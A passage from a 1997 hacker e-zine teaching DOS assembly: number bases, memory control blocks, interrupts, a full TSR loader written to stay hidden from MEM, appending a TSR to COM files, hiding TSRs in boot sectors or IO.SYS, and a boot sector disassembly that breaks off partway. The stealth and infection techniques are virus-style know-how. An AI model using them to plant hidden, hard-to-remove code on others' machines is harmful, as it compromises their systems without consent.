Copy Link
Add to Bookmark
Report

Halt and Catch Fire 01

eZine's profile picture
Published in 
Halt and Catch Fire
 · 26 Apr 2019

  

HCF Magazine - Issue 001 November 1997


+-------------------------------------+
| H A L T & C A T C H F I R E ! |
+-------------------------------------+


> Introduction to HCF <

I started this magazine as a way to distribute and encourage ideas among
assembly language programmers for the 80x86, as well as help along beginners.
The skew of this magazine will be toward TSRs, joke programs, and other types
of programs that have fun/devious purposes. Most of the articles in this
magazine will have information or techniques that can be applied to these
areas. The name HCF stands for 'Halt and Catch Fire', a semi-mythical
assembly mnemonic explained in the Jargon File. I think this mnemonic fits
the general theme of this magazine.
I hope to keep this magazine going, but there are very few assembly
programmers where I live (Wichita, KS). I plan on putting out issues one or
two months apart, depending on how fast I can get material together for the
magazine. This first issue will cover a lot of the basics, which later issues
will build on. It will probably be a little bigger than later issues.
Anyway, I hope you enjoy this magazine!

-phasm

------------------------------------------------------------------------------

Table of Contents
-----------------


Number bases and Boolean operators........................................#001
DOS's MCB chain...........................................................#002
The why and how of TSRs...................................................#003
Interrupts................................................................#004
A slick TSR loader........................................................#005
Hooking a TSR into a COM file.............................................#006
What goes on during boot-up...............................................#007
A boot sector disassembly.................................................#008
Planting a TSR in a system file...........................................#009
Danny v6: An example of a TSR loaded from IBMBIO.COM......................#00A

------------------------------------------------------------------------------

Number bases and Boolean operators #001
---------------------------------


> Number bases <

Knowing how to deal with binary and hexadecimal is very important in assembly
language. Most debuggers show hexadecimal output, and two hex digits can
represent all possible values for a single byte. Hexadecimal also translates
into binary easily and vice versa. To start off, I will show how the our
decimal (base 10) system works. In a base 10 system, each digit is a power of
10.

/----------- 10,000's digit = 10^4
| /---------- 1,000's digit = 10^3
| | /---------- 100's digit = 10^2
| | | /--------- 10's digit = 10^1
| | | | /-------- 1's digit = 10^0
| | | | |
56,789 = 5 6 7 8 9 = 5 * 10,000 + 6 * 1,000 + 7 * 100 + 8 * 10 + 9 * 1
= 50,000 + 6,000 + 700 + 80 + 9 = 56,789

Starting from the first digit, each digit increases in value by a factor of
10. Another thing to notice is that the number in each digit ranges from 0 to
9 because if there was a symbol with a value of 10, it would have the same
value as a 1 in the digit to the left of it. When multiplying by 10, a zero
is added onto the end. When dividing by 10 (and keeping the number an
integer), a digit is lopped off. Also notice that the biggest number that can
be represented with 5 digits = 10^5 - 1, which gives 10^5 possible different
values.
Generalizing, lets assume I'm working in base n. Then the first digit's value
is 1. The next one is n, the next n^2, the next n^3, etc. The value each
digit can take on is from 0 to (n - 1). If there were a symbol with a value
of n in the n^2 digit, then this would simplify into n^2 * n = n^3.
The first example will use binary. What is the number '10101101' equivalent
to in decimal?

/---------------- 128's digit = 2^7
| /--------------- 64's digit = 2^6
| | /------------- 32's digit = 2^5
| | | /----------- 16's digit = 2^4
| | | | /---------- 8's digit = 2^3
| | | | | /-------- 4's digit = 2^2
| | | | | | /------ 2's digit = 2^1
| | | | | | | /---- 1's digit = 2^0
| | | | | | | |
10101101 = 1 0 1 0 1 1 0 1
= 1*128 + 0*64 + 1*32 + 0*16 + 1*8 + 1*4 + 0*2 + 1*1
= 128 + 32 + 8 + 4 + 1 = 173

Notice also that if '11111111' is used, the sum will be equal to 2^8 - 1 =
255. Hopefully you've caught onto this. Now for hexadecimal, base 16. This
number base needs six more symbols. These are represented by A, B, C, D, E,
and F which have values in decimal of 10, 11, 12, 13, 14, and 15 respectively.
Hexadecimal works the same way, except that now 16^n is used for the digits.
I mentioned earlier that it is easy to convert from binary to decimal and vice
versa. This is because a 4-digit binary number has a 2^4 possible values
ranging from 0 to (2^4 - 1) = 15. This coincides with the range for a single
hexadecimal digit. So a binary number can be divided into 4-digit chunks and
each chunk converted into a hex digit. Using the previous example, then
'1101' chunk is 13 in decimal, which is D in hex. The '1010' chunk is 10 in
decimal, or A in hex. So the hex number is AD.

> Boolean operators <

The Boolean operators supported in the 80x86 instruction set are AND, OR, XOR,
and NOT. To do a Boolean operation by hand, the numbers involved must first
be converted to binary. The operators use simple rules to compute results.
To AND two numbers, line them up so there is a correspondence between the bits
of the two numbers.

173 = 10101101
97 = 01100001

Then, look at each pair of bits. If both bits are 1s, then the result will be
a '1'; otherwise it is a '0'. The result of AND on these numbers is

173 = 10101101
97 = 01100001
---------------AND
33 = 00100001

The rule for OR is that if both bits are '0', the result is '0'; otherwise the
result is '1'. For XOR, if the bits are different, the result is '1'. If the
bits are the same, the result is '0'. NOT takes a single number and flips
each bit; that is 1s become 0s and vice versa.
The AND operator can be used to mask bit patterns. For example, if I want
only the lower 4 bits of a number, I would use the mask '00001111'. So if the
number I want to mask is '10011011',

10011011 - number to be masked
00001111 - mask
---------AND
00001011 - lower 4 bits saved

The OR operator allows you to set specific bits. If I wanted to set the
lowest and highest bits of a number, I would OR the number with '10000001'.
The NOT operator will flip all of the bits. The XOR operator will flip
specific bits. XORing a number with '00001111' will flip the lower 4 bits.
A common way to represent bit operations is with truth tables. The tables are
composed of three columns. The first two columns are the input bits, and the
third column is the output bit. The table for NOT is an exception, because it
only has one input bit.

Bitwise AND Bitwise OR Bitwise XOR Bitwise NOT
A | B | Output A | B | Output A | B | Output A | Output
---+---+------- ---+---+------- ---+---+------- ---+-------
0 | 0 | 0 0 | 0 | 0 0 | 0 | 0 0 | 1
0 | 1 | 0 0 | 1 | 1 0 | 1 | 1 1 | 0
1 | 0 | 0 1 | 0 | 1 1 | 0 | 1
1 | 1 | 1 1 | 1 | 1 1 | 1 | 0

In the field of electronics there are several other Boolean operations such as
NAND, NOR, XNOR, and IMP, but they are not implemented on the 80x86. However,
these operations are combinations of the Boolean operations already shown.
NAND is equivalent to doing an AND and using NOT on the output. NOR is the
same process for OR, and XNOR is the same process for XOR. IMP is a lopsided
function. All the Boolean operations shown so far are the same even if the
input bits are reversed. IMP (for IMPlied) returns a 1 unless A = 1 and B =
0, in which case it returns a 0.

------------------------------------------------------------------------------

DOS's MCB chain #002
---------------


> What MCBs are and their structure <

DOS has a very simple system for memory management. DOS uses a linked list of
Memory Control Blocks (MCBs). The MCBs have no protection against being
overwritten or tampered with (which is very useful; see article 005). Each
MCB is located on a segment boundary and is 16 bytes (1 paragraph) long.
Immediately after the MCB is the memory that the MCB "controls". Immediately
after this block of memory is the next MCB. The format for an MCB is as
follows.

Offset Description
0 (Byte) MCB marker; 'M' normally, 'Z' if last MCB in chain
1 Segment of PSP of owner or special flag (0000 = free, 0008 = DOS)
3 (Word) Number of paragraphs in block of allocated memory
5 Three bytes not used by DOS
8 For DOS 4.0+, ASCIIZ program name for PSPs; unused otherwise

To get the segment of the first MCB, DOS's subfunction 52h can be used to get
the list of lists. The pointer is returned in ES:BX. The first MCB's segment
number is stored at ES:[BX - 2]. To trace to the next MCB, add the value at
offset three of the MCB to the segment of the MCB, and then increment the
result. This will be the segment of the next MCB. The last MCB in a chain
will have a marker 'Z' instead of the usual 'M'.

> Why are MCBs important? <

DOS provides a couple ways to go resident. There are two major disadvantages
to using these functions. The first is that these functions can be hooked,
and the program could be stopped from going resident. The second reason,
which I consider more important, is that this method is wasteful and just
plain stinks. It requires that at least part of the PSP be intact. The
environment block is left in memory. And even if the program releases the
memory the environment block uses, this block is almost always located before
the TSR. This creates a small block of memory that may not be used. And the
third reason is that it can not be hidden very well. The owner could be set
to 0008, but even then there is still an MCB in plain sight that was not there
before, and loaded after COMMAND.
Directly manipulating the MCB chain to go resident is much better. The
process is considerably more complex than calling DOS. The TSR engine later
in this magazine has been evolved over a couple years, and can hide from
programs such as MEM and load into upper memory. It also uses less memory
when loaded, although the engine makes the load size of the code larger.
Another possible use of this information is to check if a certain program is
running. This can be done by tracing the MCB chain and looking for a MCB with
the name of the target program stored in it. This could be useful for
something like a keystroke recorder that only records keystrokes typed while a
certain program is running. Another possibility is to check whether a program
is loaded and start annoying the user if it is.

------------------------------------------------------------------------------

The why and how of TSRs #003
-----------------------


> Why TSRs? <

There are a lot of reasons for writing TSRs. Written properly, TSRs can be
pop-up programs that can be called upon while running another program. An
example would be a pop-up language translator. TSRs can perform some function
when called upon or monitor activity. A TSR that extends BIOS's support for
COM ports is an example of the former, and a virus scanner and keystroke
recorder are both examples of the latter. Two common places TSRs are hooked
are
1)Hook the TSR to a timer, so that it is activated periodically.
2)Hook the TSR to a interrupt service handler, so that the TSR can monitor,
log/record, modify, or deny service requests.
A properly written TSR can do all sorts of cool stuff that regular programs
can not. TSRs are an area where assembly language has a strong advantage over
high level languages (HLLs).

> Making TSRs... <

TSRs have a lot of power, but a complex TSR with a lot of hooks can create a
lot of frustration if you screw up. Here are a few pointers to check when a
TSR is misbehaving.

> Are all the registers being preserved? If the TSR modifies a register, is
it being done correctly?

> If the TSR continues a handler chain via an indirect jmp far, make sure that
the CS: prefix is included in jmp far CS:[xxxx], or else the address will be
pulled out of a memory location in the DS segment, wherever it happens to
point to.

> Remember: When passing control along a handler chain, make sure the stack is
clean (the stack pointer and contents are the same as when the TSR received
control).

> Sometimes taking over an interrupt or handler will mess up other TSRs or
drivers, or stop an important action from occurring.

> If the TSR hooks the return of an interrupt handler, be sure to pass along
all relevant flags to the caller (e.g., if int 21h/40h returns a carry flag,
pass it on to the caller). Sometimes a program will be very sensitive to
corruption of any of its flags, so extra care may be needed to preserve the
flags.

> If the TSR is hooked up to a timer, make sure that it gets done with its job
quickly, or the computer may be slowed down considerably.

> DOS is not reentrant, and not all BIOSes are reentrant. By reentrant, I
mean that a function can be called while it is already working. For example,
suppose DOS is writing a file to disk. If the TSR is hooked to a timer that
decides to write to a file at this time, you could get screwed big time.
Reentrancy at the wrong time under DOS is a Bad Thing.

> Is the TSR reentrant? If there is a chance that the TSR may be called again
while it is active, and the TSR can't handle this, a flag that indicates that
the TSR is active could solve this problem.

> If the TSR hooks an interrupt and also uses it, does it call the original
address, or does it do an INT directly? If it does an INT, then the TSR will
be activated again, and if this is allowed to continue, it won't be long
before the stack smashes into something important. In any case, the TSR is
now stuck in a loop.

> When hooking the return for an interrupt, make sure the flags are pushed
onto the stack so that when the interrupt handler executes an IRET, the stack
is not corrupted.

> Is the TSR fundamentally flawed? This question should always be kept in
mind.

------------------------------------------------------------------------------

Interrupts #004
----------


> What's an interrupt? <

An interrupt is similar to a far CALL except that

1. The flags register is saved, and then the CS:IP.
2. Interrupts are called by number, not address.
3. Interrupts can be initiated by outside devices, not just executing code.

The first point is self-explanatory. An interrupt pushes the flags register,
then CS, and then IP, onto the stack. The second point explains why the
interrupt table exists. The interrupt can be a number from 0 to 255, and the
address of the interrupt handler is stored in the interrupt table. And the
third point means that interrupts can be initiated by other means than INT nn.
If an exception or a divide-by-zero occurs, then an interrupt is signaled to
the CPU. If a device needs attention (such as the timer or keyboard), it
signals this need by generating an interrupt. The CPU processes hardware
interrupts only if the interrupt enable flag is on or an NMI (non-maskable
interrupt) has occurred. Then the CPU will push the flags, CS, and IP onto
the stack, clear the interrupt flag, and set CS:IP to the address for the
interrupt handler. If the interrupt was generated by hardware (as opposed to
an INT instruction or a CPU-generated interrupt), the Programmable Interrupt
Controller (PIC or 8259) stops sending hardware interrupts requests to the CPU
until the interrupt handler sends an EOI (end-of-interrupt) to the PIC.

> The interrupt table <

The interrupt table starts at the very bottom of memory (0000:0000). For all
256 interrupts, a far address (segment:offset) is needed. Far addresses are
four byes each, so the interrupt table occupies 256 * 4 = 1024 bytes. Note
also that the BIOS data segment begins at segment 40h, which is directly after
the interrupt table. Segment 40h's absolute address is 00400, which is 1024
in decimal. The interrupt table can be written to by any program. DOS has a
function to hook interrupts (subfunction 25h), but it could be intercepted, so
I prefer to write the interrupt address directly.

> Other uses for the interrupt table <

A lot of interrupts are usually unused, and so a tiny program can be located
in the interrupt table if necessary. Generally, this isn't a good idea
because some programs (especially network software and small driver programs)
may use them, and this should only be done if you are desperate to hide a tiny
bit of code.
I have used a variation on this for anti-debugging once. The program
revectored the divide-by-zero interrupt to 0000:0004, and placed a tiny
decryptor at that location. The program would later divide by zero,
generating a divide-by-zero interrupt (a CPU generated interrupt), which
transferred control to 0000:0004, thus executing the decryptor.

------------------------------------------------------------------------------

A slick TSR loader #005
------------------


> Introduction <

The TSR loader I will explain here is the product of a couple of years of
evolution. Currently, this engine will load a TSR with no PSP overhead, be
invisible to programs such as MEM, and tries to load into upper memory.
I am assuming that you already know about MCBs and how they are arranged. The
structure of the MCB chain varies with your memory configuration. I will take
each case one at a time, because they each require a different method of going
resident.

> Conventional memory only <

A conventional-only configuration is relatively simple. The MCB chains end
with an MCB with the 'Z' marker. There is not an MCB after this memory block.
To go resident in this case is relatively easy. First, the size of this last
MCB is decreased. This creates a block of memory that is not managed, and
thus not seen, by DOS. The TSR can then be copied into this "non-existent"
block of memory. And since there isn't an MCB for this area of memory, it
won't show up under MEM.

> Upper memory available with room for the TSR <

In this case, the 'Z' MCB that controls the last block is not really the last
block. After this last block is an MCB at the very end (usually) of
conventional memory. This MCB "allocates" the intervening video memory to the
system so that the conventional and upper memory MCB chains are linked.
Immediately after this block of memory is another MCB that begins the MCB
chain in the UMB. This chain also terminates with a 'Z' block. The same
technique is used as before to hide itself. The size of the 'Z' block is
decreased and the TSR is copied into the UMB.

> Upper memory available, but not enough room for the TSR <

This is the most complicated of the three cases. Two MCBs must be manipulated
in this case. First of all, the 'Z' MCB in conventional memory must be shrunk
by the amount needed. Then, a new MCB must be created immediately after this
block. This MCB must be the size of the original MCB at the top of
conventional memory plus the size taken from the 'Z' block. So in addition to
video memory, this MCB also allocates some conventional memory. Then the TSR
is copied into this area of memory.

> The engine <

This is the commented source code for the TSR header file I use. Keep in mind
that my programs are almost exclusively COM files. When I write a TSR, I
usually just open this file and add my code after the label 'tsr:'. To
assemble, I first TASM the source, and then TLINK/t the object file. The
source code is public domain, so feel free to use and abuse.

<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->

.8086
code segment byte public
assume cs:code, ds:code
org 100h

start:
jmp initialize ;This,
nop ;this,
nop ;and this are important (they later
;form part of an MCB
tag db 'phasm 06/97' ;This is my tag which I put in many of
;my TSRs

thedata:
oldint dw 0, 0 ;The old interrupt address

;I often store data here (optional)

tsr: ;The interrupt handler goes here


initialize: ;The tsr engine begins
cld
push ds
xor ax, ax
mov ds, ax
mov si, 1ch * 4 ;Address of interrupt to hook
mov di, offset oldint
cli
movsw
movsw ;Save the original handler's address
sti
pop ds
;let's see if we can load into upper memory...
mov cx, offset initialize - offset thedata
shr cx, 4
inc cx
mov ax, cs
dec ax
mov es, ax
mov ds:[100h], es ;Save a segment here just in case
keepgoing1:
mov ax, es:[3]
mov bx, es
add ax, bx
inc ax
mov es, ax ;The location of the next MCB
cmp byte ptr es:[0], 'M'
je valid1
cmp byte ptr es:[0], 'Z'
jne failed
mov ds:[100h], es ;Save segment of 'Z' block at [100h]
valid1:
cmp ax, 0a000h
jb keepgoing1 ;Keep going if still in conventional
keepgoing2:
mov al, es:[0]
cmp al, 'M'
je donevalidcheck
cmp al, 'Z'
je checkitout
failed:
mov es, ds:[100h] ;Restore segment of 'Z' block
jmp short goresident ;Go resident

failed2:
mov es, ds:[100h] ;Get the segment of 'Z' block
mov byte ptr ds:[100h], 'M' ;MCB marker
mov word ptr ds:[101h], 8 ;DOS owned
mov ax, es
add ax, es:[3]
inc ax
mov ds, ax ;Move to next MCB (link to UMB)
mov bx, ds:[3] ;Get the size
push cs
pop ds
add bx, cx ;Add size of TSR
mov ds:[103h], bx ;Store size
sub es:[3], cx ;Reduce size of 'Z' block
inc cx
jmp short goresident2

donevalidcheck:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax ;Go to next MCB
jmp short keepgoing2 ;Go back and do it again

checkitout:
mov ax, es:[1] ;Owner
test ax, ax ;Is the block free?
jnz failed2 ;Branch if not free
mov ax, es:[3] ;Size of block
cmp ax, cx
jb failed2 ;Jump if the block isn't big enough
;we'll load into memory and hide
goresident:
mov byte ptr ds:[100h], 'H'
mov word ptr ds:[101h], 7965h ; 'ey' in memory
mov word ptr ds:[103h], 2021h ; '! ' in memory
inc cx ;Basically, this just writes
;'Hey! ' in front of tsr
sub es:[3], cx ;Decrease size of 'Z' block
goresident2:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
mov si, 100h
xor di, di
shl cx, 1
shl cx, 1
shl cx, 1
rep movsw ;Move TSR into new memory block
sub ax, 10h ;In one case, the start of the TSR is
;an MCB
xor bx, bx
mov ds, bx
cli
mov ds:[1ch * 4], offset tsr ;Hook the TSR
mov ds:[1ch * 4 + 2], ax
;terminate
int 20h ;Gone resident

code ends

end start

<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->

------------------------------------------------------------------------------

Hooking a TSR into a COM file #006
-----------------------------


> COM file structure <

COM files do not have any structure. They are given all available memory, but
are loaded into a single segment. The program is loaded at offset 100h of the
segment, and this is where program execution begins. All segment registers
are the same as CS. The word 0000 is located at the top of the stack.
Register setup is usually as follows.

AL = 00 if first parameter has valid drive specifier, FF otherwise
AH = 00 if second parameter has valid drive specifier, FF otherwise
BX = 0000
CX = 00FF
DX = CS
SI = IP
DI = SP
SP = offset of last available word in CS (usually, but not always FFFE)
BP = 091C (don't know why)
DS = CS
ES = CS
SS = CS
CS = code segment
IP = 0100

So what's important when hooking a TSR into a COM file? The AX register
contains information about the validity of drive specifiers in command-line
parameters. The SP register is also important to maintain (as in any
program). So as long as the AX register is saved, the rest of the registers
can have their contents restored with hard-wired values.
The usual method for hooking a COM file is pretty simple. The first step is
to transfer control to your TSR by placing a JMP at the start of the COM file.
Your TSR will be appended to the original COM file. The TSR loader can either
use relocatable code which is not affected by the offset at which it is run,
or it can be hard-wired for a particular offset that suits a certain COM file.
Relocatable code usually works like the following.

call findreloc ;in relative terms, CALL 0000
findreloc:
pop bp ;pop actual offset of 'findreloc'
;into bp
sub bp, offset findreloc ;subtract original offset of
;'findreloc' used during assembly
;to determine difference between
;assumed org and real org

The TSR loader should then do its stuff, and go resident. Using one of DOS's
TSR functions should not be done, since the original COM must run. The TSR
must be copied elsewhere into memory to stay resident. Note that the TSR
itself must either be hardwired for a specific org (by the loader copying the
TSR to a specific offset in the target segment), or the TSR must be
relocatable. Once done, the TSR loader should restore the original three
bytes of the COM file (at [0100]). The registers must also be restored, and
the stack cleared. Then, if the program uses relocatable code, a JMP SI can
be executed to begin executing the original COM. If hard-wired offsets are
used, then a way to hard-wire the JMP can be found. This can be done by
adding the following.

jmp comstart ;the instruction to jmp

;...other code...

;add to the end of program
org 100h
comstart:

------------------------------------------------------------------------------

What goes on during boot-up #007
---------------------------


> In the beginning.... <

Here is a quick and dirty description of the boot up process. The first step
toward boot-up is when the BIOS loads the first sector of the disk. The
sector is loaded into memory at 0000:7C00, and this is where execution begins.
The boot sector checks whether system files are present. If they are, it
loads usually the first three sectors of IO.SYS (on some systems IBMBIO.COM).
This program is then run. It loads the rest of itself and performs some basic
operations. It then loads MSDOS.SYS (on some systems IBMDOS.COM) at the top
of memory. MSDOS.SYS contains the DOS kernel. IO.SYS performs a few more
functions, and then relocates MSDOS.SYS downwards. Originally, the int 21h
vector is up high with MSDOS.SYS, but when it is relocated down, a new vector
is set. CONFIG.SYS is processed, and then the command interpreter is loaded,
and it processes AUTOEXEC.BAT.

> TSRs and the boot-up sequence <

Okay, suppose you've made a really devious TSR that you want to put on a
machine, but you want it to load before other programs. Placing it in the
AUTOEXEC.BAT is too simple and easily removed. Attaching it to another
program is another alternative, but it requires finding the right program to
attach the TSR to. There are a few alternative places to hide your TSR. The
TSR could be loaded by a boot sector program. If it is hooked here, then the
program must be responsible for loading and executing the real boot sector.
If the TSR is hooked into IO.SYS, it could go resident and then restore IO.SYS
to its original form before running it.
TSRs that load this early in the boot sequence are harder to track down and
harder to remove than a simple batch file command. They also have access to
the original interrupt handlers (e.g. interrupts 13h and 21h).

------------------------------------------------------------------------------

A boot sector disassembly #008
-------------------------


> Boot sector format <

Before doing this disassembly, boot records seemed pretty mysterious. I hope
that this will demonstrate that boot records are not that mysterious, and are
pretty straight-forward. I used MS-DOS's DEBUG to disassemble the code, so
the commands at the hyphen (-) prompts are DEBUG commands.
Here is the format of the boot sector.

Offset Description
00 Short JMP instruction followed by NOP for DOS 3.x+, near JMP for 2.x
03 (8 bytes) OEM name and version
0B (word) bytes/sector
0D (byte) sectors/cluster (must be a power of 2)
0E (word) reserved sectors starting at logical sector 0
10 (byte) number of FATs
11 (word) max number of root directory entries
13 (word) total number of logical sectors. If the disk has over 65,535
sectors (32MB) then 0000 is placed here, and actual number of sectors
is placed at offset 26h
15 (byte) media descriptor byte
16 (word) number of sectors occupied by single FAT
18 (word) sectors/track
1A (word) number of heads
1C (word) number of hidden sectors before this partition
---Extended boot record (DOS 4.0+) starts here---
1E (word) upper word of dword count of sectors before this partition
20 (dword) total number of logical sectors
24 (word) physical drive number (INT 13 compatible)
26 (byte) extended boot record signature (29h)
27 (dword) volume serial number
2B (11 bytes) volume label
36 (8 bytes) file system ID (e.g. "FAT12 " or "FAT16 "
3E Boot code usually begins here

When booting from a diskette, the register setup was as follows:
AX = 0000 BX = 7C00 CX = 0001 DX = 0000
SI = 4B9F DI = 0003 BP = 0000 Flags = 0246
DS = 0000 ES = 0000 SS = 0000 SP = 03F6
CS = 0000 IP = 7C00

I don't know which registers are important except DL, which must be set to the
drive that is being booted from. So when my hard disk boots, DL is probably
80h. Also notice that SS:SP points to the last couple interrupts in the
interrupt table. Any data pushed onto the stack will overwrite the top of the
interrupt table.
The following is a disassembly of an MS-DOS 6.21 boot record off of my 210MB
hard disk. I've examined boot sectors from various versions of DOS, and most
follow the same general pattern. There have been a couple which are a little
different, but function the same. In a future article, I may disassemble a
boot sector formatted by FDFORMAT, which creates a boot sector program that
automatically tries to boot from the hard disk if the floppy disk does not
contain system files.

> MS-DOS 6.21 Boot Record Disassembly <

-u7c00 7c02
0000:7C00 EB3C JMP 7C3E ;Jump to real start of boot
;program
0000:7C02 90 NOP ;Filler for the previous jmp
-u7c3e 7d9d
0000:7C3E FA CLI
0000:7C3F 33C0 XOR AX,AX
0000:7C41 8ED0 MOV SS,AX
0000:7C43 BC007C MOV SP,7C00 ;Set SS:SP = 0000:7C00
0000:7C46 16 PUSH SS
0000:7C47 07 POP ES ;ES = 0000
0000:7C48 BB7800 MOV BX,0078 ;BX = ptr to int 1Eh in the
; interrupt table
0000:7C4B 36 SS:
0000:7C4C C537 LDS SI,[BX] ;DS:SI = int 1Eh's vector
;int 1Eh disk parameter table
0000:7C4E 1E PUSH DS
0000:7C4F 56 PUSH SI ;Save old vector on stack
0000:7C50 16 PUSH SS
0000:7C51 53 PUSH BX ;Save vector's address
0000:7C52 BF3E7C MOV DI,7C3E
0000:7C55 B90B00 MOV CX,000B
0000:7C58 FC CLD
0000:7C59 F3 REPZ
0000:7C5A A4 MOVSB ;Load table (11 bytes) to
;0000:7C3E
0000:7C5B 06 PUSH ES
0000:7C5C 1F POP DS ;DS = 0000
0000:7C5D C645FE0F MOV BYTE PTR [DI-02],0F ;Change head settle
;time to 0Fh
0000:7C61 8B0E187C MOV CX,[7C18] ;Get sectors/track from boot
;record
0000:7C65 884DF9 MOV [DI-07],CL ;Save value in copy of table
0000:7C68 894702 MOV [BX+02],AX
0000:7C6B C7073E7C MOV WORD PTR [BX],7C3E ;Change int 1Eh vector
;to point to new copy
;of table at 0000:7C3E
0000:7C6F FB STI
0000:7C70 CD13 INT 13 ;Reset disk
0000:7C72 7279 JB 7CED ;If error, goto nonsystemdisk
0000:7C74 33C0 XOR AX,AX
0000:7C76 3906137C CMP [7C13],AX ;Are the # of sectors stored
;in normal boot record?
0000:7C7A 7408 JZ 7C84 ;If not, goto findendofFAT
0000:7C7C 8B0E137C MOV CX,[7C13] ;Get # of sectors
0000:7C80 890E207C MOV [7C20],CX ;Store in extended boot record
findendofFAT:
0000:7C84 A0107C MOV AL,[7C10] ;Get # of FATs
0000:7C87 F726167C MUL WORD PTR [7C16] ;Multiply by # sectors in FAT
0000:7C8B 03061C7C ADD AX,[7C1C] ;Add # hidden sectors (low)
0000:7C8F 13161E7C ADC DX,[7C1E] ;Add # hidden sectors (high)
0000:7C93 03060E7C ADD AX,[7C0E] ;Add # reserved sectors
0000:7C97 83D200 ADC DX,+00
0000:7C9A A3507C MOV [7C50],AX
0000:7C9D 8916527C MOV [7C52],DX ;Save two copies of # sectors
0000:7CA1 A3497C MOV [7C49],AX ;to end of FAT (start of
0000:7CA4 89164B7C MOV [7C4B],DX ;directory area)
0000:7CA8 B82000 MOV AX,0020 ;Size of directory entry
0000:7CAB F726117C MUL WORD PTR [7C11] ;Calculate root directory size
0000:7CAF 8B1E0B7C MOV BX,[7C0B] ;BX = bytes/sector
0000:7CB3 03C3 ADD AX,BX ;Determine # sectors used by
0000:7CB5 48 DEC AX ;root directory even if
0000:7CB6 F7F3 DIV BX ;sectors not fully used
0000:7CB8 0106497C ADD [7C49],AX ;This copy now contains offset
0000:7CBC 83164B7C00 ADC WORD PTR [7C4B],+00 ;in sectors to data
;area of disk
0000:7CC1 BB0005 MOV BX,0500 ;Address to read to 0000:0500
0000:7CC4 8B16527C MOV DX,[7C52] ;Get offset in sectors to root
0000:7CC8 A1507C MOV AX,[7C50] ;directory
0000:7CCB E89200 CALL 7D60 ;Call PhysicalTranslation
0000:7CCE 721D JB 7CED ;If error, goto nonsystemdisk
0000:7CD0 B001 MOV AL,01 ;Set AL = 1 sector
0000:7CD2 E8AC00 CALL 7D81 ;Call ReadData to read the
;root directory
0000:7CD5 7216 JB 7CED ;If error, goto nonsystemdisk
0000:7CD7 8BFB MOV DI,BX ;DI = 0500 (offset of root
;directory)
0000:7CD9 B90B00 MOV CX,000B ;CX = 11 (size of filename)
0000:7CDC BEE67D MOV SI,7DE6 ;Offset of first filename
0000:7CDF F3 REPZ
0000:7CE0 A6 CMPSB ;Is it IO.SYS?
0000:7CE1 750A JNZ 7CED ;If not, goto nonsystemdisk
0000:7CE3 8D7F20 LEA DI,[BX+20] ;Get address of next filename
0000:7CE6 B90B00 MOV CX,000B ;in root directory
0000:7CE9 F3 REPZ
0000:7CEA A6 CMPSB ;Is it MSDOS.SYS?
0000:7CEB 7418 JZ 7D05 ;If it is, goto readIOSYS
nonsystemdisk:
0000:7CED BE9E7D MOV SI,7D9E ;Get offset of "Non-System..."
0000:7CF0 E85F00 CALL 7D52 ;Call ShowMessage
0000:7CF3 33C0 XOR AX,AX
0000:7CF5 CD16 INT 16 ;Read a key
0000:7CF7 5E POP SI
0000:7CF8 1F POP DS ;DS:SI points to int 1Eh
0000:7CF9 8F04 POP [SI]
0000:7CFB 8F4402 POP [SI+02] ;Restore old int 1Eh vector
0000:7CFE CD19 INT 19 ;Reboot
prenonsystemdisk:
0000:7D00 58 POP AX ;Remove registers from stack
0000:7D01 58 POP AX
0000:7D02 58 POP AX
0000:7D03 EBE8 JMP 7CED ;Goto nonsystemdisk
readIOSYS:
0000:7D05 8B471A MOV AX,[BX+1A] ;Get cluster number of IO.SYS
0000:7D08 48 DEC AX
0000:7D09 48 DEC AX ;Normalize (first cluster
;number is 2)
0000:7D0A 8A1E0D7C MOV BL,[7C0D] ;Get sectors/cluster
0000:7D0E 32FF XOR BH,BH ;Calculate sector offset of
0000:7D10 F7E3 MUL BX ;file into data area
0000:7D12 0306497C ADD AX,[7C49] ;Add sector offset of file to
0000:7D16 13164B7C ADC DX,[7C4B] ;sector offset of data area
0000:7D1A BB0007 MOV BX,0700 ;Offset to read data 0000:0700
0000:7D1D B90300 MOV CX,0003 ;3 sectors
0000:7D20 50 PUSH AX
0000:7D21 52 PUSH DX
0000:7D22 51 PUSH CX ;Save registers
0000:7D23 E83A00 CALL 7D60 ;Call PhysicalTranslation
0000:7D26 72D8 JB 7D00 ;If error, goto
;prenonsystemdisk
0000:7D28 B001 MOV AL,01 ;1 sector
0000:7D2A E85400 CALL 7D81 ;Call ReadData (IO.SYS)
0000:7D2D 59 POP CX
0000:7D2E 5A POP DX
0000:7D2F 58 POP AX ;Restore registers
0000:7D30 72BB JB 7CED ;If error reading, goto
;nonsystemdisk
0000:7D32 050100 ADD AX,0001 ;Increment logical sector #
0000:7D35 83D200 ADC DX,+00
0000:7D38 031E0B7C ADD BX,[7C0B] ;Add sector size to load
;offset
0000:7D3C E2E2 LOOP 7D20 ;Loop if more sectors
0000:7D3E 8A2E157C MOV CH,[7C15] ;CH = Media descriptor byte
0000:7D42 8A16247C MOV DL,[7C24] ;DL = Physical drive number
0000:7D46 8B1E497C MOV BX,[7C49]
0000:7D4A A14B7C MOV AX,[7C4B] ;BX:AX = sector offset to data
;area
0000:7D4D EA00007000 JMP 0070:0000 ;Jump to start of IO.SYS

ShowMessage:
0000:7D52 AC LODSB ;Read a character
0000:7D53 0AC0 OR AL,AL ;If end of string marker (0),
0000:7D55 7429 JZ 7D80 ;goto returninstruction
0000:7D57 B40E MOV AH,0E ;Subfunction 0Eh (teletype)
0000:7D59 BB0700 MOV BX,0007 ;Set page and color
0000:7D5C CD10 INT 10 ;Show character
0000:7D5E EBF2 JMP 7D52 ;Goto ShowMessage

PhysicalTranslation:
0000:7D60 3B16187C CMP DX,[7C18] ;Is high word smaller than
;divisor?
0000:7D64 7319 JNB 7D7F ;If not, goto returnerror
;because a divide-by-zero
;interrupt will occur when
;dividing
0000:7D66 F736187C DIV WORD PTR [7C18] ;Divide sector offset by
;sectors/track to get sector #
0000:7D6A FEC2 INC DL ;Increment to make it a BIOS
;sector #
0000:7D6C 88164F7C MOV [7C4F],DL ;Save it for ReadData
0000:7D70 33D2 XOR DX,DX ;Zero DX for division
0000:7D72 F7361A7C DIV WORD PTR [7C1A] ;Divide tracks by # heads...
0000:7D76 8816257C MOV [7C25],DL ;...so DL = head number (it's
;saved here because previous
;byte is drive number)...
